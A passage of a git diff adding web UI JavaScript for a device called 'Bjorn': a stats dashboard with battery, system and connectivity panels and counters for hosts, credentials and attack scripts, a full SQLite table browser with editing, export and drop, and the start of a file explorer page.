|| conn.ip_wifi, + wifi_gw: conn.wifi_gw || conn.gw_wifi, + wifi_dns: conn.wifi_dns || conn.dns_wifi, + ethernet: !!(conn.ethernet || conn.eth_ip), + eth_link_up: conn.eth_link_up === true, + eth_ip: conn.eth_ip || conn.ip_eth, + eth_gw: conn.eth_gw || conn.gw_eth, + eth_dns: conn.eth_dns || conn.dns_eth, + usb_gadget: !!conn.usb_gadget, + usb_phys_on: conn.usb_phys_on === true, + usb_mode: conn.usb_mode || 'Device', + usb_lease_ip: conn.usb_lease_ip || conn.ip_neigh_lease_usb, + bt_gadget: !!conn.bt_gadget, + bt_radio_on: conn.bt_radio_on === true, + bt_lease_ip: conn.bt_lease_ip || conn.ip_neigh_lease_bt, + bt_connected_to: conn.bt_connected_to || conn.bluetooth_connected_to, + }, + }; +} + +/* ======================== Fetchers ======================== */ + +async function fetchBjornStats() { + try { + const raw = await api.get('/api/bjorn/stats', { timeout: 8000, retries: 1 }); + return normalizeStats(raw); + } catch { return null; } +} + +async function fetchAndPaintHeavy() { + const data = await fetchBjornStats(); + if (data) paintFull(data); +} + +async function fetchAndPaintLight() { + const data = await fetchBjornStats(); + if (!data) return; + if (data.system) paintCpuRam(data.system); + if (data.connectivity) paintConnectivity(data.connectivity); +} + +/* ======================== Painters ======================== */ + +function setById(id, text) { + const e = document.getElementById(id); + if (e) e.textContent = String(text ?? ''); +} + +function setPctBar(id, pct) { + const e = document.getElementById(id); + if (!e) return; + pct = Math.max(0, Math.min(100, pct || 0)); + e.style.width = pct.toFixed(1) + '%'; + e.classList.remove('warm', 'hot'); + if (pct >= 85) e.classList.add('hot'); + else if (pct >= 60) e.classList.add('warm'); +} + +function fmtBytes(b) { + if (b == null) return '0'; + const u = ['B', 'KB', 'MB', 'GB', 'TB']; + let i = 0, x = Number(b); + while (x >= 1024 && i < u.length - 1) { x /= 1024; i++; } + return (x >= 10 ? Math.round(x) : Math.round(x * 10) / 10) + ' ' + u[i]; +} + +function setRowState(rowId, state) { + const row = document.getElementById(rowId); + if (row) { row.classList.remove('on', 'off', 'err'); row.classList.add(state); } +} + +function setRowPhys(rowId, on) { + const row = document.getElementById(rowId); + if (!row) return; + if (on) row.setAttribute('data-physon', '1'); + else row.removeAttribute('data-physon'); +} + +function updateRingColors(percent) { + const fg = document.getElementById('batt-fg'); + if (!fg) return; + let ring1, ring2, glow; + if (percent <= 20) { + ring1 = '#ff4d6d'; ring2 = '#ff6b6b'; glow = 'rgba(255,77,109,.9)'; + } else if (percent <= 50) { + ring1 = '#ffd166'; ring2 = '#ffbe55'; glow = 'rgba(255,209,102,.85)'; + } else { + const cs = getComputedStyle(document.documentElement); + ring1 = cs.getPropertyValue('--acid').trim() || '#00ff9a'; + ring2 = cs.getPropertyValue('--acid-2').trim() || '#18f0ff'; + glow = cs.getPropertyValue('--glow-mid').trim() || 'rgba(24,240,255,.7)'; + } + fg.style.setProperty('--ring1', ring1); + fg.style.setProperty('--ring2', ring2); + fg.style.setProperty('--ringGlow', glow); +} + +/* ---------- Full paint (60 s) ---------- */ + +function paintFull(data) { + // Battery + const batt = data.battery || {}; + const hasBattery = batt.present !== false; + const percent = Math.max(0, Math.min(100, batt.level_pct ?? 0)); + const stateRaw = String(batt.state || '').toLowerCase(); + const charging = hasBattery && /charging|full/.test(stateRaw); + const plugged = !hasBattery; + const displayPct = plugged ? 100 : percent; + + setById('sys-battery', hasBattery ? percent : '\u2014'); + setById('sys-battery-state-text', plugged ? t('dash.plugged') : (charging ? t('dash.charging') : t('dash.discharging'))); + + const fg = document.getElementById('batt-fg'); + if (fg) fg.style.strokeDashoffset = (100 - displayPct).toFixed(2); + const scan = document.getElementById('batt-scan'); + if (scan) scan.style.opacity = charging ? 0.28 : 0.14; + updateRingColors(displayPct); + + // Battery / USB icons + const icoUsb = document.getElementById('ico-usb'); + const icoBatt = document.getElementById('ico-batt'); + if (icoUsb && icoBatt) { + icoUsb.style.display = plugged ? '' : 'none'; + icoBatt.style.display = !plugged ? '' : 'none'; + icoUsb.classList.remove('pulse'); icoBatt.classList.remove('pulse'); + if (plugged) icoUsb.classList.add('pulse'); else icoBatt.classList.add('pulse'); + const stEl = document.getElementById('sys-battery-state'); + if (stEl) stEl.style.color = plugged ? 'var(--acid-2)' : 'var(--ink)'; + } + + // Bjorn icon / level + if (data.bjorn_icon) { + const img = document.getElementById('bjorn-icon'); + if (img) img.src = data.bjorn_icon; + } + if (data.bjorn_level != null) setById('bjorn-level', `LVL ${data.bjorn_level}`); + + // Internet badge + const badge = document.getElementById('net-badge'); + if (badge) { + badge.classList.remove('net-on', 'net-off'); + badge.classList.add(data.internet_access ? 'net-on' : 'net-off'); + badge.textContent = data.internet_access ? 'YES' : 'NO'; + } + + // KPIs + setById('val-present', data.alive_hosts ?? 0); + setById('val-known', data.known_hosts_total ?? 0); + setById('val-open-ports-alive', data.open_ports_alive_total ?? 0); + setById('val-wardrive-known', data.wardrive_known ?? 0); + setById('val-vulns', data.vulnerabilities ?? 0); + setById('val-creds', data.credentials ?? 0); + setById('val-zombies', data.zombies ?? 0); + setById('val-scripts', data.attack_scripts ?? 0); + setById('val-files', data.files_found ?? 0); + + // Vuln delta + const dEl = document.getElementById('vuln-delta'); + if (dEl) { + const delta = Number(data.vulns_missing_since_last_scan ?? 0); + dEl.classList.remove('good', 'bad'); + if (delta > 0) dEl.classList.add('good'); + if (delta < 0) dEl.classList.add('bad'); + dEl.textContent = delta === 0 ? '= since last scan' + : (delta > 0 ? `\u2212${Math.abs(delta)} since last scan` : `+${Math.abs(delta)} since last scan`); + } + + // System bars + const sys = data.system || {}; + paintCpuRam(sys); + + const stUsed = sys.storage_used_bytes ?? 0; + const stTot = sys.storage_total_bytes ?? 0; + setById('sto-used', fmtBytes(stUsed)); + setById('sto-total', fmtBytes(stTot)); + setPctBar('sto-bar', stTot ? (stUsed / stTot) * 100 : 0); + + // System info + setById('sys-os', `OS: ${sys.os_name || '\u2014'}${sys.os_version ? ` ${sys.os_version}` : ''}`); + setById('sys-arch', `Arch: ${sys.arch || '\u2014'}`); + setById('sys-model', `Model: ${sys.model || '\u2014'}`); + const epd = sys.waveshare_epd_connected; + setById('sys-epd', `Waveshare E-Ink: ${epd === true ? 'ON' : epd === false ? 'OFF' : '\u2014'}${sys.waveshare_epd_type ? ` (${sys.waveshare_epd_type})` : ''}`); + + // Mode + uptime + setById('sys-mode', (data.mode || '\u2014').toString().toUpperCase()); + startUptime(data.uptime || '00:00:00'); + + // Age + setById('bjorn-age', data.first_init_ts ? `Bjorn age: ${humanAge(data.first_init_ts)}` : ''); + + // GPS + const gps = data.gps || {}; + setById('gps-state', gps.connected ? 'ON' : 'OFF'); + setById('gps-info', gps.connected + ? (gps.fix_quality + ? `Fix: ${gps.fix_quality} \u2022 Sats: ${gps.sats ?? '\u2014'} \u2022 ${gps.lat ?? '\u2014'}, ${gps.lon ?? '\u2014'} \u2022 ${gps.speed ?? '\u2014'}` + : 'Fix: \u2014') + : '\u2014'); + + // Connectivity + paintConnectivity(data.connectivity); + + // Timestamp + const ts = data.timestamp ? new Date(data.timestamp * 1000) : new Date(); + setById('db-last-update', ts.toLocaleString()); +} + +/* ---------- CPU / RAM (5 s) ---------- */ + +function paintCpuRam(sys) { + const cpu = Math.max(0, Math.min(100, sys.cpu_pct ?? 0)); + setById('cpu-pct', `${Math.round(cpu)}%`); + setPctBar('cpu-bar', cpu); + + const ramUsed = sys.ram_used_bytes ?? 0; + const ramTot = sys.ram_total_bytes ?? 0; + setById('ram-used', fmtBytes(ramUsed)); + setById('ram-total', fmtBytes(ramTot)); + setPctBar('ram-bar', ramTot ? (ramUsed / ramTot) * 100 : 0); + + if (sys.open_fds !== undefined) { + setById('fds-used', sys.open_fds); + setById('fds-max', sys.max_fds ?? ''); + setPctBar('fds-bar', sys.max_fds ? (sys.open_fds / sys.max_fds) * 100 : 0); + } +} + +/* ---------- Connectivity ---------- */ + +function paintConnectivity(c) { + if (!c) return; + + // WiFi + setRowState('row-wifi', c.wifi ? 'on' : 'off'); + setRowPhys('row-wifi', c.wifi_radio_on === true); + setById('wifi-state', c.wifi ? 'ON' : 'OFF'); + const wDet = document.getElementById('wifi-details'); + if (wDet) { + wDet.textContent = ''; + const parts = []; + if (c.wifi_ssid) parts.push(detailPair('SSID', c.wifi_ssid)); + if (c.wifi_ip) parts.push(detailPair('IP', c.wifi_ip)); + if (!parts.length) { wDet.textContent = '\u2014'; } + else parts.forEach((f, i) => { if (i) wDet.appendChild(document.createTextNode(' \u2022 ')); wDet.appendChild(f); }); + } + setById('wifi-under', underline(c.wifi_gw, c.wifi_dns)); + + // Ethernet + setRowState('row-eth', c.ethernet ? 'on' : 'off'); + setRowPhys('row-eth', c.eth_link_up === true); + setById('eth-state', c.ethernet ? 'ON' : 'OFF'); + const eDet = document.getElementById('eth-details'); + if (eDet) { eDet.textContent = ''; if (c.eth_ip) eDet.appendChild(detailPair('IP', c.eth_ip)); else eDet.textContent = '\u2014'; } + setById('eth-under', underline(c.eth_gw, c.eth_dns)); + + // USB + const usbG = !!c.usb_gadget; + setRowState('row-usb', (usbG || c.usb_lease_ip) ? 'on' : 'off'); + setRowPhys('row-usb', c.usb_phys_on === true); + setById('usb-state', usbG ? 'ON' : 'OFF'); + setById('usb-gadget-state', usbG ? 'ON' : 'OFF'); + setById('usb-lease', c.usb_lease_ip || '\u2014'); + setById('usb-mode', c.usb_mode || 'Device'); + + // BT + const btG = !!c.bt_gadget; + setRowState('row-bt', (btG || c.bt_lease_ip || c.bt_connected_to) ? 'on' : 'off'); + setRowPhys('row-bt', c.bt_radio_on === true); + setById('bt-state', btG ? 'ON' : 'OFF'); + setById('bt-gadget-state', btG ? 'ON' : 'OFF'); + setById('bt-lease', c.bt_lease_ip || '\u2014'); + setById('bt-connected', c.bt_connected_to || '\u2014'); +} + +/** Safe DOM: k: v */ +function detailPair(k, v) { + const f = document.createDocumentFragment(); + const ks = document.createElement('span'); ks.className = 'key'; ks.textContent = k; + f.appendChild(ks); f.appendChild(document.createTextNode(': ')); + const vs = document.createElement('span'); vs.textContent = v; + f.appendChild(vs); + return f; +} + +function underline(gw, dns) { + const p = []; + if (gw) p.push(`GW: ${gw}`); + if (dns) p.push(`DNS: ${dns}`); + return p.length ? p.join(' \u2022 ') : '\u2014'; +} + +/* ======================== Uptime ticker ======================== */ + +function startUptime(str) { + stopUptime(); + uptimeSecs = parseUptime(str); + tickUptime(); + uptimeTimer = tracker?.trackInterval(() => { uptimeSecs += 1; tickUptime(); }, 1000); +} + +function stopUptime() { + if (uptimeTimer && tracker) tracker.clearTrackedInterval(uptimeTimer); + uptimeTimer = null; +} + +function tickUptime() { setById('sys-uptime', fmtUptime(uptimeSecs)); } + +function parseUptime(str) { + if (!str) return 0; + let days = 0, h = 0, m = 0, s = 0; + const dMatch = str.match(/^(\d+)d\s+(.+)$/i); + if (dMatch) { days = parseInt(dMatch[1], 10) || 0; str = dMatch[2]; } + const parts = (str || '').split(':').map(x => parseInt(x, 10) || 0); + if (parts.length === 3) [h, m, s] = parts; + else if (parts.length === 2) [m, s] = parts; + return days * 86400 + h * 3600 + m * 60 + s; +} + +function fmtUptime(total) { + total = Math.max(0, Math.floor(total || 0)); + const d = Math.floor(total / 86400); + let r = total % 86400; + const h = Math.floor(r / 3600); r %= 3600; + const m = Math.floor(r / 60); const s = r % 60; + const hh = String(h).padStart(2, '0'); + const mm = String(m).padStart(2, '0'); + const ss = String(s).padStart(2, '0'); + return d ? `${d}d ${hh}:${mm}:${ss}` : `${hh}:${mm}:${ss}`; +} + +function humanAge(initTs) { + if (!initTs) return '\u2014'; + const delta = Math.max(0, Date.now() / 1000 - Number(initTs)); + const days = Math.floor(delta / 86400); + if (days < 60) return `${days} day${days !== 1 ? 's' : ''}`; + const months = Math.floor(days / 30.44); + if (months < 24) return `${months} month${months !== 1 ? 's' : ''}`; + const years = days / 365.25; + return `${years < 10 ? years.toFixed(1) : Math.round(years)} year${years >= 2 ? 's' : ''}`; +} diff --git a/web/js/pages/database.js b/web/js/pages/database.js new file mode 100644 index 0000000..eda3e69 --- /dev/null +++ b/web/js/pages/database.js @@ -0,0 +1,499 @@ +/** + * Database page module — Full SQLite browser. + * Sidebar tree with tables/views, main content area with table data, + * inline editing, search/sort/limit, CRUD, CSV/JSON export, danger zone ops. + * All endpoints under /api/db/*. + */ +import { ResourceTracker } from '../core/resource-tracker.js'; +import { api, Poller } from '../core/api.js'; +import { el, $, empty, toast } from '../core/dom.js'; +import { t } from '../core/i18n.js'; +import { initSharedSidebarLayout } from '../core/sidebar-layout.js'; + +const PAGE = 'database'; + +/* ── state ── */ +let tracker = null; +let poller = null; +let catalog = []; // [{ name, type:'table'|'view', columns:[] }] +let activeTable = null; // name of the selected table/view +let tableData = null; // { columns:[], rows:[], total:0 } +let dirty = new Map(); // pk → { col: newVal, ... } +let selected = new Set(); +let sortCol = null; +let sortDir = 'asc'; +let searchText = ''; +let rowLimit = 100; +let sidebarFilter = ''; +let liveRefresh = false; +let disposeSidebarLayout = null; + +/* ── lifecycle ── */ +export async function mount(container) { + tracker = new ResourceTracker(PAGE); + const shell = buildShell(); + container.appendChild(shell); + disposeSidebarLayout = initSharedSidebarLayout(shell, { + sidebarSelector: '.db-sidebar', + mainSelector: '.db-main', + storageKey: 'sidebar:database', + mobileBreakpoint: 900, + toggleLabel: t('common.menu'), + mobileDefaultOpen: true, + }); + await loadCatalog(); +} + +export function unmount() { + if (disposeSidebarLayout) { disposeSidebarLayout(); disposeSidebarLayout = null; } + if (poller) { poller.stop(); poller = null; } + if (tracker) { tracker.cleanupAll(); tracker = null; } + catalog = []; activeTable = null; tableData = null; + dirty = new Map(); selected = new Set(); + sortCol = null; sortDir = 'asc'; searchText = ''; + rowLimit = 100; sidebarFilter = ''; liveRefresh = false; +} + +/* ── shell ── */ +function buildShell() { + const hideLabel = (() => { + const v = t('common.hide'); + return v && v !== 'common.hide' ? v : 'Hide'; + })(); + return el('div', { class: 'db-container page-with-sidebar' }, [ + /* sidebar */ + el('aside', { class: 'db-sidebar page-sidebar', id: 'db-sidebar' }, [ + el('div', { class: 'sidehead' }, [ + el('div', { class: 'sidetitle' }, [t('nav.database')]), + el('div', { class: 'spacer' }), + el('button', { class: 'btn', id: 'hideSidebar', 'data-hide-sidebar': '1', type: 'button' }, [hideLabel]), + ]), + el('div', { class: 'sidecontent' }, [ + el('div', { class: 'tree-head' }, [ + el('div', { class: 'pill' }, ['Tables']), + el('div', { class: 'spacer' }), + el('button', { class: 'btn', type: 'button', onclick: loadCatalog }, [t('common.refresh')]), + ]), + el('input', { + type: 'text', class: 'db-sidebar-filter', placeholder: t('db.filterTables'), + oninput: onSidebarFilter + }), + el('div', { class: 'db-tree', id: 'db-tree' }), + ]), + ]), + /* main */ + el('div', { class: 'db-main page-main', id: 'db-main' }, [ + el('div', { class: 'db-toolbar', id: 'db-toolbar', style: 'display:none' }, [ + /* search + sort + limit */ + el('input', { + type: 'text', class: 'db-search', placeholder: t('db.searchRows'), + oninput: onSearch + }), + el('select', { class: 'db-limit-select', onchange: onLimitChange }, [ + ...[50, 100, 250, 500, 1000].map(n => + el('option', { value: String(n), ...(n === 100 ? { selected: '' } : {}) }, [String(n)])), + ]), + el('label', { class: 'db-live-label' }, [ + el('input', { type: 'checkbox', id: 'db-live', onchange: onLiveToggle }), + ` ${t('db.autoRefresh')}`, + ]), + ]), + el('div', { class: 'db-actions', id: 'db-actions', style: 'display:none' }, [ + el('button', { class: 'vuln-btn', id: 'db-btn-save', onclick: onSave }, [t('db.saveChanges')]), + el('button', { class: 'vuln-btn', id: 'db-btn-discard', onclick: onDiscard }, [t('db.discardChanges')]), + el('button', { class: 'vuln-btn', onclick: () => loadTable(activeTable) }, [t('common.refresh')]), + el('button', { class: 'vuln-btn', onclick: onAddRow }, ['+Row']), + el('button', { class: 'vuln-btn btn-danger', onclick: onDeleteSelected }, [t('db.deleteSelected')]), + el('button', { class: 'vuln-btn', onclick: () => exportTable('csv') }, ['CSV']), + el('button', { class: 'vuln-btn', onclick: () => exportTable('json') }, ['JSON']), + ]), + /* table content */ + el('div', { class: 'db-table-wrap', id: 'db-table-wrap' }, [ + el('div', { style: 'text-align:center;color:var(--ink);opacity:.5;padding:60px 0' }, [ + el('div', { style: 'font-size:3rem;margin-bottom:12px;opacity:.5' }, ['\u{1F5C4}\uFE0F']), + t('db.selectTableFromSidebar'), + ]), + ]), + /* danger zone */ + el('div', { class: 'db-danger', id: 'db-danger', style: 'display:none' }, [ + el('span', { style: 'font-weight:700;color:var(--critical)' }, [t('db.dangerZone')]), + el('button', { class: 'vuln-btn btn-danger btn-sm', onclick: onVacuum }, ['VACUUM']), + el('button', { class: 'vuln-btn btn-danger btn-sm', onclick: onTruncate }, ['Truncate']), + el('button', { class: 'vuln-btn btn-danger btn-sm', onclick: onDrop }, ['Drop']), + ]), + /* status */ + el('div', { class: 'db-status', id: 'db-status' }), + ]), + ]); +} + +/* ── catalog ── */ +async function loadCatalog() { + try { + const data = await api.get('/api/db/catalog', { timeout: 8000 }); + if (Array.isArray(data)) { + catalog = data.map((item) => ({ + name: typeof item === 'string' ? item : (item?.name || item?.table || item?.id || ''), + type: item?.type || 'table', + })).filter((item) => item.name); + } else { + const tables = Array.isArray(data?.tables) ? data.tables : []; + const views = Array.isArray(data?.views) ? data.views : []; + catalog = [ + ...tables.map((item) => ({ + name: typeof item === 'string' ? item : (item?.name || item?.table || item?.id || ''), + type: item?.type || 'table', + })), + ...views.map((item) => ({ + name: typeof item === 'string' ? item : (item?.name || item?.view || item?.id || ''), + type: item?.type || 'view', + })), + ].filter((item) => item.name); + } + renderTree(); + } catch (err) { + console.warn(`[${PAGE}]`, err.message); + setStatus(t('db.failedLoadCatalog')); + } +} + +function renderTree() { + const tree = $('#db-tree'); + if (!tree) return; + empty(tree); + + const needle = sidebarFilter.toLowerCase(); + const tables = catalog.filter((t) => (t.type || 'table') === 'table'); + const views = catalog.filter((t) => t.type === 'view'); + + const renderGroup = (label, items) => { + const filtered = needle ? items.filter(i => i.name.toLowerCase().includes(needle)) : items; + if (filtered.length === 0) return; + tree.appendChild(el('div', { class: 'db-tree-group' }, [ + el('div', { class: 'db-tree-label' }, [`${label} (${filtered.length})`]), + ...filtered.map(item => + el('div', { + class: `tree-item ${item.name === activeTable ? 'active' : ''}`, + 'data-name': item.name, + onclick: () => selectTable(item.name), + }, [ + el('span', { class: 'db-tree-icon' }, [item.type === 'view' ? '\u{1F50D}' : '\u{1F4CB}']), + item.name, + ]) + ), + ])); + }; + + renderGroup('Tables', tables); + renderGroup('Views', views); + + if (catalog.length === 0) { + tree.appendChild(el('div', { style: 'text-align:center;padding:20px;opacity:.5' }, [t('db.noTables')])); + } +} + +function onSidebarFilter(e) { + sidebarFilter = e.target.value; + renderTree(); +} + +/* ── select table ── */ +async function selectTable(name) { + activeTable = name; + sortCol = null; sortDir = 'asc'; + searchText = ''; dirty.clear(); selected.clear(); + renderTree(); + showToolbar(true); + await loadTable(name); +} + +function showToolbar(show) { + const toolbar = $('#db-toolbar'); + const actions = $('#db-actions'); + const danger = $('#db-danger'); + if (toolbar) toolbar.style.display = show ? '' : 'none'; + if (actions) actions.style.display = show ? '' : 'none'; + if (danger) danger.style.display = show ? '' : 'none'; +} + +/* ── load table data ── */ +async function loadTable(name) { + if (!name) return; + setStatus(t('common.loading')); + try { + const params = new URLSearchParams(); + params.set('limit', String(rowLimit)); + if (sortCol) { params.set('sort', sortCol); params.set('dir', sortDir); } + if (searchText) params.set('search', searchText); + + const data = await api.get(`/api/db/table/${encodeURIComponent(name)}?${params}`, { timeout: 10000 }); + tableData = data; + renderTable(); + setStatus(`${data.rows?.length || 0} of ${data.total ?? '?'} rows`); + } catch (err) { + console.warn(`[${PAGE}]`, err.message); + setStatus(t('db.failedLoadTable')); + const wrap = $('#db-table-wrap'); + if (wrap) { empty(wrap); wrap.appendChild(el('div', { style: 'padding:40px;text-align:center;opacity:.5' }, [t('db.errorLoadingData')])); } + } +} + +/* ── render table ── */ +function renderTable() { + const wrap = $('#db-table-wrap'); + if (!wrap || !tableData) return; + empty(wrap); + + const cols = tableData.columns || []; + const rows = tableData.rows || []; + + if (cols.length === 0) { + wrap.appendChild(el('div', { style: 'padding:40px;text-align:center;opacity:.5' }, [t('db.emptyTable')])); + return; + } + + const thead = el('thead', {}, [ + el('tr', {}, [ + el('th', { class: 'db-th-sel' }, [ + el('input', { type: 'checkbox', onchange: onSelectAll }), + ]), + ...cols.map((col) => + el('th', { + class: sortCol === col ? 'sorted' : '', + onclick: () => toggleSort(col), + }, [col, sortCol === col ? (sortDir === 'asc' ? ' \u2191' : ' \u2193') : '']), + ), + ]), + ]); + + const tbody = el('tbody'); + rows.forEach((row, idx) => { + const pk = rowPK(row, idx); + const isSelected = selected.has(pk); + const isDirty = dirty.has(pk); + const tr = el('tr', { + class: `db-tr ${isSelected ? 'selected' : ''} ${isDirty ? 'dirty' : ''}`, + 'data-pk': pk, + }, [ + el('td', { class: 'db-td db-td-sel' }, [ + el('input', { + type: 'checkbox', + ...(isSelected ? { checked: '' } : {}), + onchange: (e) => toggleRowSelection(pk, e.target.checked), + }), + ]), + ...cols.map((col) => { + const currentVal = dirty.get(pk)?.[col] ?? (row[col] ?? '').toString(); + const originalVal = (row[col] ?? '').toString(); + return el('td', { class: 'db-td', 'data-col': col }, [ + el('span', { + class: 'db-cell', + contentEditable: 'true', + spellcheck: 'false', + 'data-pk': pk, + 'data-col': col, + 'data-orig': originalVal, + onblur: onCellBlur, + }, [currentVal]), + ]); + }), + ]); + tbody.appendChild(tr); + }); + + wrap.appendChild(el('table', { class: 'db data-table' }, [thead, tbody])); + updateDirtyUI(); +} + +function rowPK(row, idx) { + /* Try 'id' or 'rowid' as PK; fallback to index */ + if (row.id !== undefined) return String(row.id); + if (row.rowid !== undefined) return String(row.rowid); + return `_idx_${idx}`; +} + +/* ── sorting ── */ +function toggleSort(col) { + if (sortCol === col) { + sortDir = sortDir === 'asc' ? 'desc' : 'asc'; + } else { + sortCol = col; + sortDir = 'asc'; + } + loadTable(activeTable); +} + +/* ── search ── */ +function onSearch(e) { + searchText = e.target.value; + loadTable(activeTable); +} + +/* ── limit ── */ +function onLimitChange(e) { + rowLimit = parseInt(e.target.value, 10) || 100; + loadTable(activeTable); +} + +/* ── live refresh ── */ +function onLiveToggle(e) { + liveRefresh = e.target.checked; + if (liveRefresh) { + poller = new Poller(() => loadTable(activeTable), 5000); + poller.start(); + } else { + if (poller) { poller.stop(); poller = null; } + } +} + +/* ── selection ── */ +function onSelectAll(e) { + const rows = tableData?.rows || []; + if (e.target.checked) { + rows.forEach((r, i) => selected.add(rowPK(r, i))); + } else { + selected.clear(); + } + renderTable(); +} + +function toggleRowSelection(pk, checked) { + if (checked) selected.add(pk); else selected.delete(pk); + const tr = document.querySelector(`tr.db-tr[data-pk="${pk}"]`); + if (tr) tr.classList.toggle('selected', checked); +} + +/* ── inline editing ── */ +function onCellBlur(e) { + const span = e.target; + const pk = span.dataset.pk; + const col = span.dataset.col; + const orig = span.dataset.orig; + const newVal = span.textContent; + + if (newVal === orig) { + /* revert — remove from dirty if no other changes */ + const changes = dirty.get(pk); + if (changes) { + delete changes[col]; + if (Object.keys(changes).length === 0) dirty.delete(pk); + } + } else { + if (!dirty.has(pk)) dirty.set(pk, {}); + dirty.get(pk)[col] = newVal; + } + updateDirtyUI(); +} + +function updateDirtyUI() { + const saveBtn = $('#db-btn-save'); + const discardBtn = $('#db-btn-discard'); + const hasDirty = dirty.size > 0; + if (saveBtn) saveBtn.classList.toggle('btn-primary', hasDirty); + if (discardBtn) discardBtn.style.opacity = hasDirty ? '1' : '0.4'; +} + +/* ── save ── */ +async function onSave() { + if (dirty.size === 0) return; + setStatus(t('common.saving')); + try { + const updates = []; + dirty.forEach((changes, pk) => { + updates.push({ pk, changes }); + }); + await api.post('/api/db/update', { table: activeTable, updates }); + dirty.clear(); + toast(t('db.changesSaved'), 2000, 'success'); + await loadTable(activeTable); + } catch (err) { + toast(`${t('db.saveFailed')}: ${err.message}`, 3000, 'error'); + setStatus(t('db.saveFailed')); + } +} + +function onDiscard() { + dirty.clear(); + renderTable(); + toast(t('db.changesDiscarded'), 1500); +} + +/* ── add row ── */ +async function onAddRow() { + setStatus(t('db.insertingRow')); + try { + await api.post('/api/db/insert', { table: activeTable }); + toast(t('db.rowInserted'), 2000, 'success'); + await loadTable(activeTable); + } catch (err) { + toast(`${t('db.insertFailed')}: ${err.message}`, 3000, 'error'); + } +} + +/* ── delete selected ── */ +async function onDeleteSelected() { + if (selected.size === 0) { toast(t('db.noRowsSelected'), 1500); return; } + setStatus(t('db.deletingRowsCount', { count: selected.size })); + try { + await api.post('/api/db/delete', { table: activeTable, pks: [...selected] }); + selected.clear(); + toast(t('db.rowsDeleted'), 2000, 'success'); + await loadTable(activeTable); + } catch (err) { + toast(`${t('common.deleteFailed')}: ${err.message}`, 3000, 'error'); + } +} + +/* ── export ── */ +function exportTable(format) { + if (!activeTable) return; + window.location.href = `/api/db/export/${encodeURIComponent(activeTable)}?format=${format}`; +} + +/* ── danger zone ── */ +async function onVacuum() { + setStatus(t('db.runningVacuum')); + try { + await api.post('/api/db/vacuum', {}); + toast(t('db.vacuumComplete'), 2000, 'success'); + setStatus(t('db.vacuumDone')); + } catch (err) { + toast(`${t('db.vacuumFailed')}: ${err.message}`, 3000, 'error'); + } +} + +async function onTruncate() { + if (!activeTable) return; + if (!confirm(t('db.confirmTruncate', { table: activeTable }))) return; + setStatus(t('db.truncating')); + try { + await api.post(`/api/db/truncate/${encodeURIComponent(activeTable)}`, {}); + toast(t('db.tableTruncated'), 2000, 'success'); + await loadTable(activeTable); + } catch (err) { + toast(`${t('db.truncateFailed')}: ${err.message}`, 3000, 'error'); + } +} + +async function onDrop() { + if (!activeTable) return; + if (!confirm(t('db.confirmDrop', { table: activeTable }))) return; + setStatus(t('db.dropping')); + try { + await api.post(`/api/db/drop/${encodeURIComponent(activeTable)}`, {}); + toast(t('db.droppedTable', { table: activeTable }), 2000, 'success'); + activeTable = null; + showToolbar(false); + const wrap = $('#db-table-wrap'); + if (wrap) { empty(wrap); wrap.appendChild(el('div', { style: 'padding:40px;text-align:center;opacity:.5' }, [t('db.tableDropped')])); } + await loadCatalog(); + } catch (err) { + toast(`${t('db.dropFailed')}: ${err.message}`, 3000, 'error'); + } +} + +/* ── status bar ── */ +function setStatus(msg) { + const el2 = $('#db-status'); + if (el2) el2.textContent = msg || ''; +} diff --git a/web/js/pages/files.js b/web/js/pages/files.js new file mode 100644 index 0000000..98c1223 --- /dev/null +++ b/web/js/pages/files.js @@ -0,0 +1,952 @@ +/** + * Files Explorer page module. + * Parity target: web_old/files_explorer.html behavior in SPA form. + */ +import { ResourceTracker } from '../core/resource-tracker.js'; +import { el, $, empty, toast } from '../core/dom.js'; +import { t } from '../core/i18n.js'; + +const PAGE = 'files'; + +let tracker = null; +let root = null; + +let currentPath = []; +let allFiles = []; +let isGridView = true; +let isMultiSelectMode = false; +let searchValue = ''; +let selectedTargetPath = null; +let absoluteBasePath = '/home/bjorn'; +const selectedItems = new Map(); // relPath -> { name, is_directory, relPath, absPath, size } + +let contextMenuEl = null; +let moveModalEl = null; + +function L(key, fallback, vars = {}) { + const v = t(key, vars); + return v === key ? fallback : v; +} + +function q(sel, base = root) { + return base ? base.querySelector(sel) : null; +} + +export async function mount(container) { + tracker = new ResourceTracker(PAGE); + root = buildShell(); + container.appendChild(root); + wireStaticEvents(); + updateViewModeButton(); + await loadAllFiles(); +} + +export function unmount() { + removeContextMenu(); + closeMoveDialog(); + if (tracker) { + tracker.cleanupAll(); + tracker = null; + } + root = null; + currentPath = []; + allFiles = []; + isGridView = true; + isMultiSelectMode = false; + searchValue = ''; + selectedTargetPath = null; + absoluteBasePath = '/home/bjorn'; + selectedItems.clear(); +} + +function buildShell() { + return el('div', { class: 'files-container' }, [ + el('div', { class: 'loot-container' }, [ + el('div', { class: 'file-explorer' }, [ + el('div', { class: 'toolbar-buttons' }, [ + el('button', { + class: 'action-button', + id: 'viewModeBtn', + title: L('common.view', 'View'), + }, ['\u25A6']), + el('button', { + class: 'action-button', + id: 'multiSelectBtn', + }, [`\u229E ${L('common.selectAll', 'Select')}`]), + el('button', { + class: 'action-button', + id: 'newFolderBtn', + }, [`\u{1F4C1}+ ${L('common.new', 'New')} ${L('common.directory', 'folder')}`]), + el('button', { + class: 'action-button', + id: 'renameBtn', + style: 'display:none', + }, [`\u270E ${L('common.rename', 'Rename')}`]), + el('button', { + class: 'action-button', + id: 'moveBtn', + style: 'display:none', + }, [`\u2194 ${L('common.move', 'Move')}`]), + el('button', { + class: 'action-button delete', + id: 'deleteBtn', + style: 'display:none', + }, [`\u{1F5D1} ${L('common.delete', 'Delete')}`]), + el('button', { + class: 'action-button', + id: 'refreshBtn', + }, [`\u21BB ${L('common.refresh', 'Refresh')}`]), + ]), + + el('div', { class: 'search-container' }, [ + el('input', { + type: 'text', + class: 'search-input', + id: 'search-input', + placeholder: L('files.searchPlaceholder', 'Search files...'), + }), + el('button', { class: 'clear-button', id: 'clear-button' }, ['\u2716']), + ]), + + el('div', { class: 'path-navigator' }, [ + el('div', { class: 'nav-buttons' }, [ + el('button', { + class: 'back-button', + id: 'backBtn', + title: L('common.back', 'Back'), + }, ['\u2190 ', L('common.back', 'Back')]), + ]), + el('div', { class: 'current-path', id: 'currentPath' }), + ]), + + el('div', { class: 'files-grid', id: 'file-list' }), + ]), + + el('div', { class: 'upload-container' }, [ + el('input', { + id: 'file-upload', + type: 'file', + multiple: '', + style: 'display:none', + }), + el('div', { id: 'drop-zone', class: 